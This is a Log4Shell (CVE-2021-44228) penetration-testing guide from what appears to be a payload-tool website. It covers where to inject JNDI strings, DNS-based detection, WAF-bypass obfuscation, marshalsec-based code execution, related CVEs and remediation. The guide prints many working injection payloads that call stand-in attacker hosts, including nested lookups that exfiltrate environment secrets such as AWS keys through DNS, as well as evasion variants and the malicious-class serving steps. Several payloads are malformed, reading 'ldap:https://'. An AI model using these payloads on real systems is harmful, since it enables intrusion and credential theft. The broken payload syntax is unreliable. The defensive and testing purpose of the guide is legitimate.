Log4Shell (CVE-2021-44228): JNDI Injection, Detection Payloads, and WAF Bypass
Log4Shell — tracked as CVE-2021-44228 — is the unauthenticated remote code execution flaw in Apache Log4j 2 that earned the maximum CVSS score of 10.0 and triggered one of the largest emergency-patching efforts in recent memory. The root cause is deceptively simple: Log4j's message lookup substitution evaluates ${...} expressions inside any string that gets logged, and one of those expressions invokes JNDI. If an attacker can get a malicious string into a log message, they can force the server to resolve a remote JNDI reference and load a hostile Java class. Because applications log almost everything — usernames, User-Agent headers, search terms, HTTP paths — the attack surface is enormous.
This guide walks through how the JNDI injection chain actually works, the detection payloads you should use during an authorized engagement, how to confirm exploitation out-of-band, the obfuscation tricks that slip past WAF signatures, and the layered remediation that genuinely closes the hole. All techniques here assume you have written authorization to test the target — Log4Shell is trivially weaponizable and you must stay inside scope.
Why a Logging Library Executes Code
Log4j 2 supports "lookups," a templating feature that resolves placeholders at log time. A pattern like ${java:version} in a logged string gets replaced with the JVM version. Among the built-in lookups is jndi, which performs a Java Naming and Directory Interface lookup against whatever URI you supply. JNDI itself supports several backends — LDAP, RMI, DNS, and CORBA among them.
The lethal combination is JNDI + LDAP. When Log4j evaluates ${jndi:ldap:https://attacker.example/a}, the JVM contacts the attacker's LDAP server. That server can respond with a reference to a remote Java class (a javaSerializedData attribute or a codebase URL). On vulnerable JDK versions, the client fetches and instantiates that class, running its static initializer or constructor — and you have code execution. The flaw is not in LDAP or JNDI alone; it is that Log4j let untrusted log content drive a JNDI lookup with remote-codebase loading enabled.
# The canonical exploit string. When this lands in any logged field,
# a vulnerable Log4j 2.x (2.0-beta9 through 2.14.1) resolves it.
${jndi:ldap:https://attacker.example:1389/Exploit}
# JNDI also supports other protocols Log4j will happily resolve:
${jndi:rmi:https://attacker.example:1099/Exploit}
${jndi:dns:https://attacker.example/test} # DNS-only, great for blind detection
Where to Inject the Payload
Any input that ends up in a log line is a candidate. The single most productive vector during real assessments has been the HTTP User-Agent and other request headers, because reverse proxies, application servers, and access logs frequently record them verbatim. Don't fixate on the body — headers, the request line, and even TLS SNI have all yielded hits.
- HTTP headers —
User-Agent,Referer,X-Forwarded-For,X-Api-Version,Authorization,Cookie - Request line — the URL path and query string (e.g. a 404 that logs the requested path)
- Form fields and JSON values — login usernames are a classic, because failed-auth events get logged
- Application-specific inputs — chat messages, search queries, filenames, hostnames, anything echoed into a log
# Spray the canonical detection payload across common headers.
# Embed a per-target unique subdomain so you can attribute the callback.
curl https://target.example/ \
-H 'User-Agent: ${jndi:ldap://uid-7f3a.oast.example/ua}' \
-H 'Referer: ${jndi:ldap://uid-7f3a.oast.example/ref}' \
-H 'X-Forwarded-For: ${jndi:ldap://uid-7f3a.oast.example/xff}' \
-H 'X-Api-Version: ${jndi:ldap://uid-7f3a.oast.example/api}'
Detection: Confirming the Lookup Out-of-Band
Log4Shell is fundamentally a blind, out-of-band vulnerability — the HTTP response usually shows nothing. You confirm it by watching for the server-initiated callback. Stand up an interaction server (Burp Collaborator, interactsh, or a DNS canary) and embed a unique identifier per injection point so you know exactly which field fired.
For pure detection, a DNS-based payload is the most reliable signal: it only needs outbound DNS resolution, which is far more often allowed than outbound LDAP/RMI. Even an egress-filtered host will frequently leak a DNS lookup. Use the Callback Catcher Helper to generate correctly-formatted OAST payloads and to keep your unique identifiers organized across injection points.
# DNS-only confirmation (lowest egress requirement)
${jndi:dns://uid-9c21.oast.example/x}
# Exfiltrate environment data into the DNS label via nested lookups —
# the resolved value becomes a subdomain you'll see in the callback log.
${jndi:ldap://${env:USER}.${sys:java.version}.uid-9c21.oast.example/a}
${jndi:ldap://${hostName}.uid-9c21.oast.example/a}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.uid-9c21.oast.example/a}
The nested-lookup trick is worth dwelling on: Log4j resolves inner ${...} expressions before issuing the JNDI request, so the DNS name you receive in the callback contains live data from the target — username, hostname, JVM version, or even environment secrets. This both confirms exploitation and proves real impact in your report without ever loading a class.
WAF Bypass via Lookup Obfuscation
Once vendors shipped WAF rules, most matched the literal strings ${jndi:, ldap, or jndi:ldap. The problem for defenders is that Log4j's lookup engine itself is a deobfuscator: it expands nested and defaulted lookups recursively, so you can reconstruct the forbidden keywords at evaluation time from pieces that never appear literally in your request.
The core technique uses the ${lower:...}, ${upper:...}, and :- (default-value) operators. The expression ${::-j} resolves to the literal j because the lookup name is empty and the default value after :- is returned. Chain these and you spell out jndi and ldap character by character.
# Functionally identical to ${jndi:ldap://...} but evades naive signatures:
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}:https://attacker.example/a}
# Default-value obfuscation — no literal "jndi" or "ldap" anywhere:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:https://attacker.example/a}
# Case shuffling (lookup names are case-insensitive):
${jNdI:lDaP:https://attacker.example/a}
# Alternate protocol to dodge "ldap"-specific rules:
${jndi:rmi:https://attacker.example:1099/a}
${jndi:${lower:l}${lower:d}a${lower:p}:https://attacker.example/a}
When you are systematically generating these mutations across encodings and case permutations, the WAF Evasion Studio can transform a base payload into dozens of variants so you can find which one the target's WAF lets through. Remember that the goal during a real test is to demonstrate the gap and document the exact bypass — not to maximize blast radius.
From Lookup to Code Execution
Detection proves the lookup fires; the next step (only if your rules of engagement permit RCE) is delivering a payload the target's JDK will actually load. Whether this works depends heavily on the JDK version. After the JEP-resolved hardening, com.sun.jndi.ldap.object.trustURLCodebase defaults to false on patched runtimes (JDK 6u211+, 7u201+, 8u191+, 11.0.1+), which blocks the classic remote-codebase load. Older or misconfigured JDKs remain fully exploitable via the remote-class path; newer ones may still be reachable through gadget chains present on the application classpath (a deserialization-style escalation rather than naive class loading).
# A common lab harness: marshalsec spins up a malicious LDAP referral
# server pointing JNDI clients at an HTTP-hosted compiled class.
java -cp marshalsec-all.jar marshalsec.jndi.LDAPRefServer \
"http:https://attacker.example:8000/#Exploit"
# Serve the compiled Exploit.class over HTTP (Exploit's static block runs the command).
python3 -m http.server 8000
# Trigger:
${jndi:ldap:https://attacker.example:1389/Exploit}
Once you have command execution, escalate to an interactive session. Generate a platform-appropriate listener payload with the Reverse Shell Generator, but in most authorized engagements a single benign proof — writing a uniquely-named file, running id, or triggering an outbound callback carrying ${env:USER} — is enough to substantiate the finding without risking the target.
Related and Follow-on CVEs
Log4Shell did not end with the first patch. The follow-on advisories matter when you assess "we already patched":
- CVE-2021-45046 — the incomplete fix in 2.15.0. Non-default Pattern Layout configurations using a Context Lookup (
${ctx:...}) still allowed JNDI lookups and, in some setups, RCE. Fixed in 2.16.0, which disabled JNDI by default and removed message lookups. - CVE-2021-45105 — an uncontrolled recursion denial-of-service via self-referential lookups (e.g.
${${::-${::-$${::-j}}}}). Fixed in 2.17.0. - CVE-2021-44832 — RCE for an attacker who can modify the logging configuration (JDBC Appender with a JNDI data source). Fixed in 2.17.1. Lower severity since it requires config-write access.
The practical takeaway: anything below 2.17.1 (for Java 8) deserves scrutiny, and you should always verify the actual JAR version on disk rather than trusting a changelog.
Remediation
Fixing Log4Shell is a layered exercise — no single mitigation is sufficient, and several widely-shared "fixes" are incomplete.
- Upgrade Log4j to 2.17.1+ (Java 8) or 2.12.4+ (Java 7) / 2.3.2+ (Java 6). This is the only complete fix — it disables JNDI lookups by default and removes the message-lookup feature entirely.
- If you genuinely cannot upgrade, set
log4j2.formatMsgNoLookups=true(JVM flag-Dlog4j2.formatMsgNoLookups=trueor envLOG4J_FORMAT_MSG_NO_LOOKUPS=true). Note this is incomplete for 2.x < 2.16 in some configurations and does nothing for CVE-2021-45046's Context Lookup vector — treat it as a stopgap, not a fix. - Remove the vulnerable class from the JAR if patching is impossible:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. This reliably neutralizes the lookup but must be re-applied after any redeploy. - Harden JNDI at the JVM by setting
com.sun.jndi.ldap.object.trustURLCodebase=falseandcom.sun.jndi.rmi.object.trustURLCodebase=false(defaults on modern JDKs), which blocks remote-codebase class loading. - Restrict egress — Log4Shell requires an outbound LDAP/RMI/DNS connection from the server. Default-deny outbound traffic from application hosts and you break the exploit chain even on unpatched code.
- WAF rules are a speed bump, not a cure. As shown above, lookup obfuscation defeats signature matching. Use a WAF to buy time for patching, never as the primary control, and verify your rules against obfuscated variants.
Finally, treat detection as ongoing: grep historical access and application logs for jndi:, ${lower:, and obfuscated fragments to determine whether you were already targeted before patching — given how broadly Log4Shell was scanned in the wild, assume probing occurred and validate accordingly.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides